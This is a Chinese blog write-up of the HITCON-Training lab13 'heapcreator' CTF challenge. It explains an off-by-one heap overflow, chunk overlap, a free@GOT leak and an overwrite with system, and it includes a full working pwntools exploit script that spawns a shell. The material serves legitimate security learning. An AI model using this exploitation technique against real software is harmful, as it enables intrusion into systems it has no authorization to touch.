HITCON-Training lab13 heapcreator(heap extend)

啊啊啊,搞了一早上,终于终于搞明白了,,,

题目链接:https://buuoj.cn/challenges#hitcontraining_heapcreator

ida简单看一下

创建堆

创建的时候,每次都会先创建0x10的heaparray,然后再创建堆

 

编辑

对比建堆,可以看到size大了一个

 

打印

删除

程序基本功能就这样了

因为edit的时候可以多写入一个字节,存在off-by-one,我们可以通过溢出覆盖下一个字节,为了覆盖到下一个字节的size位,因为程序存在复用,即如果都inuse的话,上一个chunk可以使用到下一个chunk的prev_size,那么我们再溢出,就可以到size位了。

步骤:

(1)我们是首先申请了0x18字节(实际就给了0x10+下一个chunk的prev_size)

(2)然后再申请0x10

(3)edit第一个chunk,并且输入‘/bin/sh\x00’,通过栈溢出,将第二个chunk的size设置为0x41【解释1】

(4)free掉第二个chunk

(5)重新申请0x30的chunk大小【解释2】

(6)将free_got的地址输入chunk,并且打印出来

(7)计算出基地址、system地址

(8)覆盖free_got表为system地址

(9)删除第一个堆块即可

这里学习的时候,主要遇到了两个问题,就是后面标注的两个解释,大小问什么是0x41,重新申请里面,为什么要先有p(0)*4

 

接下来将逐一讲解

首先申请两个堆块

create(0x18,"dada") # 0
create(0x10,"ddaa") # 1

edit后

edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
        8字节            0x10字节  溢出到size

delete(1)
释放申请的堆块

可以看到,同时释放了两个chunk,大小分别为0x40和0x20

一个是heaparray[1]修改成的0x40,另一个是chunk1,被heaparray[1]覆盖到的chunk

create(0x30,p64(0)*4 +p64(0x30) +  p64(free_got)) #1
重新申请堆块,最重要的一块,重新申请的堆块大小为0x30,也就是我们之前释放的0x41,这样子,就成功的将heaparray和chunk换了位置,,,

我们知道heaparray的第二个放的是函数指针,,那么如果我们申请到的地址被系统认为是heaparray,让我们在chunk里面布置上的地址就会被认为是函数地址,会去执行,我们也就可以进行一系列操作了 

因为heaparray的大小是0x10,所以会去链表里找被释放有没有符合大小的,因为有,所以会把之前的chunk给他,而现在要的chunk大小是0x30,会把之前更改后释放的0x41的heaparray的地址给他们,成功实现互换,,,

 

所以,我们要把数据放入0x1bfe300的后面八个字节里面,并且在前面八个字节放上大小,,,就构造好了,可以泄漏地址,写入地址,,随便走

完整的exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *

host = "training.pwnable.tw"
port = 11013
#host = "10.211.55.28"
#port = 8888

r = remote(host,port)


def create(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit(idx,content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)

def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

free_got = 0x602018
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1
edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) +  p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
libc = free_addr - 0x83940 
print "libc:",hex(libc)
system = libc + 0x45390
edit(1,p64(system))
delete(0)
r.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章